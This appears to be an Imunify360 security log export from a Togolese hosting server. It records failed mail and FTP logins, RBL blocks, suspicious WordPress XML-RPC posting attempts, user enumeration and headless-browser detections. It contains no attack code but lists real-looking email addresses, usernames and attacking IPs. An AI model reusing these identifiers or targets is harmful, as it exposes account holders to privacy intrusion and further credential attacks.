abuser: 47.128.96.189
country_id: 1880251
description:
47.128.96.189 - - [05/Jun/2026:17:03:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658710&pdata=https%253A%252F%252Fchuso.tg%252Fprocedures%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780679006 HTTP/2.0" 302 0 chuso.tg "https://chuso.tg/procedures/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.189


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.253
country_id: 3469034
description:
Jun  5 17:02:53 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 17:04:36 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10370: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:05:41 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:11264: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 51.79.83.213
country_id: 6251999
domain: snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun  5 17:06:20 ns5 pure-ftpd[1853940]: (?@47.84.199.24) [WARNING] Authentication failed for user [waywcbyw]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a936ff23196b593f27120fbfed1eee23a39e75ed||Title:45tp5aafy5awer1z||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:08:21 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:19584: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  5 17:08:25 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-05 17:08:27 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:29633: 535 Incorrect authentication data (set_id=archiwum)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e6fe1342cd229e45504270b32286731689273520||Title:j3t8be9wyzmd3s2||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ac1d62a902c1ff46d389059690a4c577c3cbf50d||Title:6eewi10aw7rjp5dva||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:09:39 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:7424: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6e33acb9b1b152550642a99475d4f233bc29b724||Title:sj2xszntcua8sa93s||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-05 17:10:39 +0000] info [cpaneld] 185.213.83.243 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:10:40 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:2816: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:11:41 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:24576: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b3556c38b0a61cea9d3b0ec694f0b287003e016b||Title:hio03ol7s61x8wr||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 178.73.235.104
country_id: 2661886
description:
Jun  5 17:12:31 ns5 pure-ftpd[1858771]: (?@178.73.235.104) [INFO] New connection from 178.73.235.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:12:42 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:12160: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e550b2774968db1fa1532d53893a07ba5469d98f||Title:amq6utc8avigsb||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 178.73.228.104
country_id: 2661886
description:
Jun  5 17:12:36 ns5 pure-ftpd[1858790]: (?@178.73.228.104) [INFO] New connection from 178.73.228.104


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:316121c07cfa22bf6feac0e60f2c81f05eda4876||Title:7pug3eljjxkne76dhf||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:13:43 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:4608: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.33.239.1
country_id: 2017370
description:
Jun  5 17:14:19 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.33.239.1 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.239.1
country_id: 2017370
description:
2026-06-05 17:14:21 dovecot_login authenticator failed for H=213.33.239.1.adsl-spb.net.rol.ru (dynamicip-37-113-6-133.pppoe.ufa.ertelecom.ru) [213.33.239.1]:35794: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:14:44 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:23040: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:772f87c4129fb7f43dd1b2b396df4cb7be7a710b||Title:vwf00evr6zqopmgvc||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  5 17:15:32 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-05 17:15:34 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:32229: 535 Incorrect authentication data (set_id=jun)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6b9acc1a70bbccf14d3590a6697e8d42ab0f1ff6||Title:p8dqiwuroirlz2||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a5111512f0509c95b7d994489c99ddb8aa7df8f0||Title:zdrv66g9r0dt8f||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.76.245.170
country_id: 3469034
description:
Jun  5 17:17:21 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.76.245.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.76.245.170
country_id: 3469034
description:
2026-06-05 17:17:23 dovecot_login authenticator failed for H=([111.61.171.123]) [187.76.245.170]:58753: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aa8048533138bba5dd7f48001bafe2d1fe86a640||Title:5o7k2tp3vtue2s4y||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.130.247
country_id: 690791
description:
Jun  5 17:18:29 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.130.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:17:54 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:30848: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c569d2cada79060aac6ec22e45ec524a0a21349f||Title:ho8lcss76fkg10u84d||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14004.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:608882a47f649de2f35b298d9a4fd2a1adb5f029||Title:0x5ad48a20||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:899d05ec1e8de873a05b6be99e6299d14822d89c||Title:onnw7e9vzpcl7ckuah||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:18:57 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:26112: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 17:19:17 ns5 pure-ftpd[1863933]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 17:19:24 ns5 pure-ftpd[1863933]: (?@103.245.236.231) [WARNING] Authentication failed for user [caissederetraites]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fbd4471d51ca6504a1ed4018119daa3b66e0d254||Title:0xcb7f9184||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:988820e9a3ddca8996404e1b94dc00477a1aba6e||Title:lzhrl5hjizfijt0w||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:19:58 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:17664: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:41ac8f4eb15e96533fb34084dbc8f4694b5d4d4b||Title:fqkmx7awmzi3lijz6||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.237.47.214
country_id: 3996063
description:
Jun  5 17:20:47 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.237.47.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-06-05 17:20:49 dovecot_login authenticator failed for H=(customer-187-237-47-214.uninet-ide.com.mx) [187.237.47.214]:50070: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.19.151
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/index.php/wp-json/wp/v2/users/3?context=view&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d5090bfc1c7fbfa7ed981b5fded6eacf97e09d6f||Title:0xdab13c8b||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.112.121.179
country_id: 1527747
description:
2026-06-05 17:21:36 H=([212.112.121.179]) [212.112.121.179]:55528 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6f39306073f84b4c4dc0f6e1ecc815b42d189bd9||Title:7y179c6h0e94nv1g2x||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 17:22:36 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 17:22:38 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:51631: 535 Incorrect authentication data (set_id=sqlserver)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-05 17:21:49 +0000] info [webmaild] 196.171.46.177 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c037afa0d459ab304b5a50e79259a65cc7374529||Title:0x3c9daccc||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  5 17:22:23 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.5
country_id: 798544
description:
Jun  5 17:22:37 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.203
country_id: 1269750
description:
Jun  5 17:22:20 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-05 17:22:25 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:39706: 535 Incorrect authentication data (set_id=swfl)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.56.201.0
country_id: 3439705
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/rich-minsi-aw-2016-collection/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:08850b0fab1bd51081175b86090f316fb99b8406||Title:11np89wej2scnh77i||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:32bc013ad2d32efbc117a4a87aab5e443f5c77bf||Title:0xcaa5242f||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.5
country_id: 798544
description:
Jun  5 17:22:50 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.5 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:38c90420d43399907f2d617d2e3d413b7dea4fbf||Title:lqbb3cti5exwblj||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a325b84f8c9b2685906a002da6e6b2b5f3c933b||Title:0xba175df0||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:112d0a537075522f9ac17e9fd9c2786f3e9736f9||Title:k072bzky8po3yghh||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.163.93.77
country_id: 1562822
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/5745-2/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8ecd9331aa03a3c7f20a551c450564cdb371a8ea||Title:0xa20974f3||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c1a23e3e020f9c35808c2aba1e618467318c0e49||Title:0xa2858b90||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6de091949a74862db21dab97263e25ad4ef37fb3||Title:2n0m5xwpfsx3mif||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.198.41
country_id: 3865483
description:
Jun  5 17:26:02 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.198.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d6a16fd5e7f1d4f5cab02bf402b78a2390038d73||Title:0xd061d888||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.206.245.133
country_id: 798544
description:
Jun  5 17:26:52 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.206.245.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.191
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fd8f80b46592ac0b5598aab3be984d9d32e78640||Title:ksihrtmw0nkm7o0l||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e495ee6b682db9ea6a5187e6fa95e368607ff15e||Title:fdotaxhx42tiug1e||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:032547d48c80a13bdb23e92b9a19703a863c906d||Title:gx19n1dfv1vky69||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-05 17:28:28 +0000] info [webmaild] 196.171.46.177 - gilbert.kakabiti@togointerim.net "GET /cpsess4202983313/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.124.233.148
country_id: 1522867
description:
2026-06-05 17:27:48 H=([0.0.0.0]) [188.124.233.148]:31437 F=<John@4452.com> rejected RCPT <contractor@confortis.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:da14d21d44dc06a02e5885b4451749e818bc154a||Title:0x701526bb||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.51.151.188
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7e0933144d5f004841f1bea1c005639e6140a47e||Title:pe8koayi4k70aft||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.28.94.155
country_id: 3686110
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9e0a1869f931d8acb75131e54a85cee80702c6ff||Title:0x35bf9d02||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.96
country_id: 2287781
description:
2026-06-05 17:29:16 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.96]:7425: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  5 17:29:43 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.112.121.179
country_id: 1527747
description:
2026-06-05 17:29:19 H=([212.112.121.179]) [212.112.121.179]:64499 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-05 17:29:45 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:42159: 535 Incorrect authentication data (set_id=s3cret)


plugin: ossec
